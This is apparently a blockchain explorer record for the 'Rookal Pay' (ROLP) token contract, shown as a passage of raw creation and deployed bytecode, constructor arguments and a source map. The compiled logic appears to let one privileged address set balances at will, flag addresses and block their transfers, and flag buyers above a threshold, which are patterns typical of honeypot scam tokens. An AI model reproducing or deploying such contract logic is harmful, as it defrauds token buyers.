fffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a6001026040518082815260200191505060405180910390a35b6001905092915050565b60105481565b600080821415610aab5760019050610e61565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bf25781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6757600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c50575060095482115b15610cae576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b610cb984848461154c565b610cc257600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d0e57600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec457600080fd5b6000821115610f18576012600a0a8202600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fdb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b60005b838390508110156111d95760016007600086868581811061115e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611141565b506001905092915050565b600e6020528060005260406000206000915090505481565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112925780601f1061126757610100808354040283529160200191611292565b820191906000526020600020905b81548152906001019060200180831161127557829003601f168201915b505050505081565b60006112a7338484610a98565b905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130b57600080fd5b600083518302905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561135f57600080fd5b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561151b5760008582815181106113c657fe5b602002602001015190506012600a0a8502600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a89028161148257fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a8902816114f757fe5b046040518082815260200191505060405180910390a35080806001019150506113af565b50600191505092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b60008061159e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163061189a565b905060006115f1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119e6565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148061169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806116f45750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061172a57508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061176057508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806117b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061180c5750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561181c57600192505050611893565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561187957600092505050611893565b6118838685611b31565b61188c57600080fd5b6001925050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106118d95783856118dc565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611a25578385611a28565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a54148015611b4657506000600854145b8015611b5457506000600954145b15611b625760009050611c02565b6000600a541115611bbf57600a54600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bbe5760009050611c02565b5b60006008541115611bde57816008541115611bdd5760009050611c02565b5b60006009541115611bfd57600954821115611bfc5760009050611c02565b5b600190505b9291505056fea26469706673582212205135fc62595d22085b09ee274c7202b968d6548d5b62a113b79de22ed743cd5e64736f6c634300060c003300000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000007a120000000000000000000000000000000000000000000000000000000000000000a526f6f6b616c20506179000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004524f4c5000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100e75760003560e01c80635c19a95c1161008a57806395d89b411161005957806395d89b4114610545578063a9059cbb146105d5578063aa2f522014610639578063dd62ed3e14610711576100e7565b80635c19a95c146103835780636083e94b146103dd5780636b7680731461044457806370a08231146104e0576100e7565b806318160ddd116100c657806318160ddd1461024557806323b872dd146102705780632ccb1b30146102f4578063313ce56714610358576100e7565b8062f7274a146100ec57806306fdde0314610151578063095ea7b3146101e1575b600080fd5b3480156100f857600080fd5b506101396004803603606081101561010f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610796565b60405180821515815260200191505060405180910390f35b34801561015d57600080fd5b5061016661081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d600480360360408110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b34801561025157600080fd5b5061025a610a92565b6040518082815260200191505060405180910390f35b6102dc6004803603606081101561028657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b60405180821515815260200191505060405180910390f35b6103406004803603604081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e68565b60405180821515815260200191505060405180910390f35b34801561036457600080fd5b5061036d610f7a565b6040518082815260200191505060405180910390f35b6103c56004803603602081101561039957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7f565b60405180821515815260200191505060405180910390f35b3480156103e957600080fd5b5061042c6004803603602081101561040057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561045057600080fd5b506104c86004803603602081101561046757600080fd5b810190808035906020019064010000000081111561048457600080fd5b82018360208201111561049657600080fd5b803590602001918460208302840111640100000000831117156104b857600080fd5b90919293919293905050506110e2565b60405180821515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a6111fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059a57808201518184015260208101905061057f565b50505050905090810190601f1680156105c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610621600480360360408110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129a565b60405180821515815260200191505060405180910390f35b6106f96004803603604081101561064f57600080fd5b810190808035906020019064010000000081111561066c57600080fd5b82018360208201111561067e57600080fd5b803590602001918460208302840111640100000000831117156106a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506112af565b60405180821515815260200191505060405180910390f35b34801561071d57600080fd5b506107806004803603604081101561073457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611527565b6040518082815260200191505060405180910390f35b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f257600080fd5b6012600a0a82026009819055506012600a0a830260088190555083600a81905550600190509392505050565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a6001026040518082815260200191505060405180910390a35b6001905092915050565b60105481565b600080821415610aab5760019050610e61565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bf25781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6757600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c50575060095482115b15610cae576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b610cb984848461154c565b610cc257600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d0e57600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec457600080fd5b6000821115610f18576012600a0a8202600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fdb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b60005b838390508110156111d95760016007600086868581811061115e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611141565b506001905092915050565b600e6020528060005260406000206000915090505481565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112925780601f1061126757610100808354040283529160200191611292565b820191906000526020600020905b81548152906001019060200180831161127557829003601f168201915b505050505081565b60006112a7338484610a98565b905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130b57600080fd5b600083518302905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561135f57600080fd5b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561151b5760008582815181106113c657fe5b602002602001015190506012600a0a8502600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a89028161148257fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a8902816114f757fe5b046040518082815260200191505060405180910390a35080806001019150506113af565b50600191505092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b60008061159e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163061189a565b905060006115f1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119e6565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148061169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806116f45750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061172a57508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061176057508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806117b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061180c5750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561181c57600192505050611893565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561187957600092505050611893565b6118838685611b31565b61188c57600080fd5b6001925050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106118d95783856118dc565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611a25578385611a28565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a54148015611b4657506000600854145b8015611b5457506000600954145b15611b625760009050611c02565b6000600a541115611bbf57600a54600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bbe5760009050611c02565b5b60006008541115611bde57816008541115611bdd5760009050611c02565b5b60006009541115611bfd57600954821115611bfc5760009050611c02565b5b600190505b9291505056fea26469706673582212205135fc62595d22085b09ee274c7202b968d6548d5b62a113b79de22ed743cd5e64736f6c634300060c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000007a120000000000000000000000000000000000000000000000000000000000000000a526f6f6b616c20506179000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004524f4c5000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Rookal Pay
Arg [1] : _symbol (string): ROLP
Arg [2] : _supply (uint256): 1000000000
Arg [3] : MemoryNum (uint256): 1
Arg [4] : minMemory (uint256): 1
Arg [5] : maxMemory (uint256): 500000

-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [5] : 000000000000000000000000000000000000000000000000000000000007a120
Arg [6] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [7] : 526f6f6b616c2050617900000000000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [9] : 524f4c5000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

19774:7176:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24183:312;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26239:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22027:328;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26209:23;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;21338:683;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22839:271;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26168:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;24501:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;24023:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;24666:243;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26049:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;26264:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19972:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;23122:625;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26098:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;24183:312;24271:4;24309:8;;;;;;;;;;;24295:22;;:10;:22;;;24287:31;;;;;;26200:2;24353;:21;24342:9;:33;24329:10;:46;;;;26200:2;24410;:21;24399:9;:33;24386:10;:46;;;;24456:9;24443:10;:22;;;;24483:4;24476:11;;24183:312;;;;;:::o;26239:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22027:328::-;22099:4;22150:6;22116:9;:21;22126:10;22116:21;;;;;;;;;;;;;;;:31;22138:8;22116:31;;;;;;;;;;;;;;;:40;;;;22193:8;22172:38;;22181:10;22172:38;;;22203:6;22172:38;;;;;;;;;;;;;;;;;;22237:5;;;;;;;;;;22225:17;;:8;:17;;;22221:105;;;22286:1;;;;;;;;;;;22264:50;;22281:3;22264:50;;;26200:2;22291;:21;22288:1;:25;22264:50;;;;;;;;;;;;;;;;;;22221:105;22343:4;22336:11;;22027:328;;;;:::o;26209:23::-;;;;:::o;21338:683::-;21425:4;21456:1;21446:6;:11;21442:55;;;21481:4;21474:11;;;;21442:55;21525:5;21511:19;;:10;:19;;;21507:152;;21587:6;21555:9;:16;21565:5;21555:16;;;;;;;;;;;;;;;:28;21572:10;21555:28;;;;;;;;;;;;;;;;:38;;21547:47;;;;;;21641:6;21609:9;:16;21619:5;21609:16;;;;;;;;;;;;;;;:28;21626:10;21609:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;21507:152;21682:10;;;;;;;;;;;21673:19;;:5;:19;;;:43;;;;;21706:10;;21697:6;:19;21673:43;21669:73;;;21734:4;21720:8;:13;21729:3;21720:13;;;;;;;;;;;;;;;;:18;;;;;;;;;;;;;;;;;;21669:73;21770:26;21777:5;21784:3;21789:6;21770;:26::i;:::-;21762:35;;;;;;21836:6;21816:9;:16;21826:5;21816:16;;;;;;;;;;;;;;;;:26;;21808:35;;;;;;21874:6;21854:9;:16;21864:5;21854:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;21909:6;21891:9;:14;21901:3;21891:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;21926:12;:19;21939:5;21926:19;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;21979:3;21963:28;;21972:5;21963:28;;;21984:6;21963:28;;;;;;;;;;;;;;;;;;22009:4;22002:11;;21338:683;;;;;;:::o;22839:271::-;22917:4;22956:8;;;;;;;;;;;22942:22;;:10;:22;;;22934:31;;;;;;22992:1;22979:10;:14;22976:74;;;26200:2;23026;:21;23014:10;:34;22996:9;:15;23006:4;22996:15;;;;;;;;;;;;;;;:52;;;;22976:74;23076:4;23060:9;:15;23070:4;23060:15;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;23098:4;23091:11;;22839:271;;;;:::o;26168:34::-;26200:2;26168:34;:::o;24501:159::-;24555:4;24594:8;;;;;;;;;;;24580:22;;:10;:22;;;24571:32;;;;;;24627:3;24614:10;;:16;;;;;;